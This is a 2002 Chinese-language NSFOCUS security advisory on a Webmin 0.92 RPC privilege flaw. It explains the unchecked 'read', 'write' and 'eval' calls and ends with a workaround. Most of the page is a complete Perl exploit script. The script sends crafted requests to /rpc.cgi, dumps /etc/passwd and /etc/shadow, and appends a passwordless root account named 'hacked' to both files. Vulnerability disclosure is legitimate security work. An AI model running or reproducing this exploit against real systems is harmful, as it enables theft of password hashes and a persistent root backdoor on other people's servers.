首页 -> 安全研究
安全研究
安全漏洞
Webmin远程任意命令执行和文件查看漏洞
发布日期:2002-08-28
更新日期:2002-08-30
受影响系统:
Webmin Webmin 0.92-1描述:
Webmin Webmin 0.92
- Linux系统
Webmin是基于WEB接口的Linux/Unix系统管理工具,使用任何支持表单的浏览器可以设置用户帐户、APACHE、DNS、文件共享等。
Webmin CGI程序RPC调用缺少正确的权限判断,远程攻击者可以利用这个漏洞以root用户权限执行任意命令或者查看任意文件内容。
Webmin的CGI在处理来自其他Webmin服务程序remote_foreign_require和remote_foreign_call RPC请求时缺少充分的权限检查,会以root权限执行那些调用,如果攻击者拥有另一个机器上Webmin服务程序的普通用户帐户,利用这个漏洞就可能以root用户权限执行任意代码或者查看系统任意文件。
对于是否能访问这个CGI通过/usr/libexec/webmin/defaultacl文件中的'rpc'值进行判断,这个值如果为‘2’,则只允许管理或者root用户访问,如果这个值为'1',则允许任意人访问这个CGI。访问这个CGI可以获得如下功能:
1) 'quit' - 终止当前RPC session.
2) 'require' - 使当前RPC会话装载一个库/模块文件.
3) 'call' - 执行Perl或者Webmin功能.
4) 'eval' - 评估Perl代码(执行).
5) 'ping' - 应答"OK"的回复.
6) 'check' - 检查某个库/模块是否支持.
7) 'config' - 显示当前RPC配置.
8) 'write' - 按照提供数据写入文件.
9) 'read' - 读取文件返回数据.
利用'read'和'write'功能,由于webmin在运行这两个功能的时候没有丢弃权限,所以拥有帐户的远程攻击者可以利用这两个函数查看系统文件,包括/etc/passwd和/etc/shadow,而利用'eval'功能,则可能以root用户权限在系统上执行任意命令。
<*来源:Aviram Jenik (aviram@beyondsecurity.com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=103055942607213&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/usr/bin/perl
# urlize
# Convert a string to a form ok for putting in a URL
sub urlize {
local $rv = $_[0];
$rv =~ s/([^A-Za-z0-9])/sprintf("%%%2.2X", ord($1))/ge;
return $rv;
}
# un_urlize(string)
# Converts a URL-encoded string to the original
sub un_urlize
{
local $rv = $_[0];
$rv =~ s/\+/ /g;
$rv =~ s/%(..)/pack("c",hex($1))/ge;
return $rv;
}
# serialise_variable(variable)
# Converts some variable (maybe a scalar, hash ref, array ref or scalar
ref)
# into a url-encoded string
sub serialise_variable
{
if (!defined($_[0])) {
return 'UNDEF';
}
local $r = ref($_[0]);
local $rv;
if (!$r) {
$rv = &urlize($_[0]);
}
elsif ($r eq 'SCALAR') {
$rv = &urlize(${$_[0]});
}
elsif ($r eq 'ARRAY') {
$rv = join(",", map { &urlize(&serialise_variable($_)) }
@{$_[0]});
}
elsif ($r eq 'HASH') {
$rv = join(",", map { &urlize(&serialise_variable($_)).",".
&urlize(&serialise_variable($_[0]->{$_}))
}
keys %{$_[0]});
}
elsif ($r eq 'REF') {
$rv = &serialise_variable(${$_[0]});
}
return ($r ? $r : 'VAL').",".$rv;
}
# unserialise_variable(string)
# Converts a string created by serialise_variable() back into the
original
# scalar, hash ref, array ref or scalar ref.
sub unserialise_variable
{
local @v = split(/,/, $_[0]);
local ($rv, $i);
if ($v[0] eq 'VAL') {
$rv = &un_urlize($v[1]);
}
elsif ($v[0] eq 'SCALAR') {
local $r = &un_urlize($v[1]);
$rv = \$r;
}
elsif ($v[0] eq 'ARRAY') {
$rv = [ ];
for($i=1; $i<@v; $i++) {
push(@$rv, &unserialise_variable(&un_urlize($v[$i])));
}
}
elsif ($v[0] eq 'HASH') {
$rv = { };
for($i=1; $i<@v; $i+=2) {
$rv->{&unserialise_variable(&un_urlize($v[$i]))} =
&unserialise_variable(&un_urlize($v[$i+1]));
}
}
elsif ($v[0] eq 'REF') {
local $r = &unserialise_variable($v[1]);
$rv = \$r;
}
elsif ($v[0] eq 'UNDEF') {
$rv = undef;
}
return $rv;
}
# encode_base64(string)
# Encodes a string into base64 format
sub encode_base64
{
local $res;
pos($_[0]) = 0; # ensure start at the beginning
while ($_[0] =~ /(.{1,45})/gs) {
$res .= substr(pack('u', $1), 1)."\n";
chop($res);
}
$res =~ tr|\` -_|AA-Za-z0-9+/|;
local $padding = (3 - length($_[0]) % 3) % 3;
$res =~ s/.{$padding}$/'=' x $padding/e if ($padding);
return $res;
}
use Socket;
if ($#ARGV<6) {die "Usage: exploit.pl proxyIP proxyPort remoteIP
remotePort username password command_interface
command interface should equal one of these:
1 - read file /etc/passwd
2 - read file /etc/shadow
3 - insert into file /etc/passwd (\"hacked:x:0:0:root:/root:/bin/bash\")
4 - insert into file /etc/shadow (\"hacked::0:99999:7:-1:-1:134538548\")
";}
$username = $ARGV[4];
$password = $ARGV[5];
$proxyPort = $ARGV[1];
$proxyIP = $ARGV[0];
$remoteIP = $ARGV[2];
$remotePort = $ARGV[3];
$command_interface = $ARGV[6];
$target = inet_aton($proxyIP);
$paddr = sockaddr_in($proxyPort, $target);
print "Connecting to: $proxyIP:$proxyPort, with the following user:
$username and password: $password. Hacking server:
$remoteIP:$remotePort\n";
$auth = &encode_base64("$username:$password");
$auth =~ s/\n//g;
if (($command_interface eq 1) || ($command_interface eq 3))
{
$d = { 'action' => 'read', 'file' => "/etc/passwd", 'session' => "0"};
}
if (($command_interface eq 2) || ($command_interface eq 4))
{
$d = { 'action' => 'read', 'file' => "/etc/shadow", 'session' => "0"};
}
$tostr = &serialise_variable($d);
$lengthstr = length($tostr);
$request = "POST /rpc.cgi HTTP/1.1
Host: $remoteIP:$remotePort
User-agent: Webmin
Authorization: basic $auth
Content-Length: $lengthstr
$tostr";
print "Sending:\n---\n$request\n---\n";
$proto = getprotobyname('tcp');
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Socket problems\n");
connect(S, $paddr) || die "connect: $!";
select(S); $|=1; # print $pstr;
print $request;
$found = 0;
while(<S>)
{
if (($found == 1) || (/^\r\n/))
{
if ($found == 0)
{
$found = 1;
}
else
{
$in = join ("", $in, $_);
}
}
}
select(STDOUT);
print "Raw:\n---\n$in\n---\n";
print "Unserialized:\n---\n", unserialise_variable($in)->{'rv'},
"\n---\n";
close(S);
if ($command_interface eq 3)
{
$d = { 'action' => 'write', 'data'=>join("",
unserialise_variable($in)->{'rv'},
"hacked:x:0:0:root:/root:/bin/bash\n"),
'file' => "/etc/passwd", 'session' => "0"};
}
if ($command_interface eq 4)
{
$d = { 'action' => 'write', 'data'=>join("",
unserialise_variable($in)->{'rv'},
"hacked::0:99999:7:-1:-1:134538548\n"),
'file' => "/etc/shadow", 'session' => "0"};
}
$tostr = &serialise_variable($d);
$lengthstr = length($tostr);
$request = "POST /rpc.cgi HTTP/1.1
Host: $remoteIP:$remotePort
User-agent: Webmin
Authorization: basic $auth
Content-Length: $lengthstr
$tostr";
print "Sending:\n---\n$request\n---\n";
$proto = getprotobyname('tcp');
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Socket problems\n");
connect(S, $paddr) || die "connect: $!";
select(S); $|=1; # print $pstr;
print $request;
$found = 0;
while(<S>)
{
if (($found == 1) || (/^\r\n/))
{
if ($found == 0)
{
$found = 1;
}
else
{
$in = join ("", $in, $_);
}
}
}
select(STDOUT);
print "Raw:\n---\n$in\n---\n";
print "Unserialized:\n---\n", unserialise_variable($in)->{'rv'},
"\n---\n";
close(S);
# --- EOF ---
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 设置defaultacl文件的rpc值为0。
厂商补丁:
Webmin
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.webmin.com/webmin/
浏览次数:4017
严重程度:0(网友投票)
绿盟科技给您安全的保障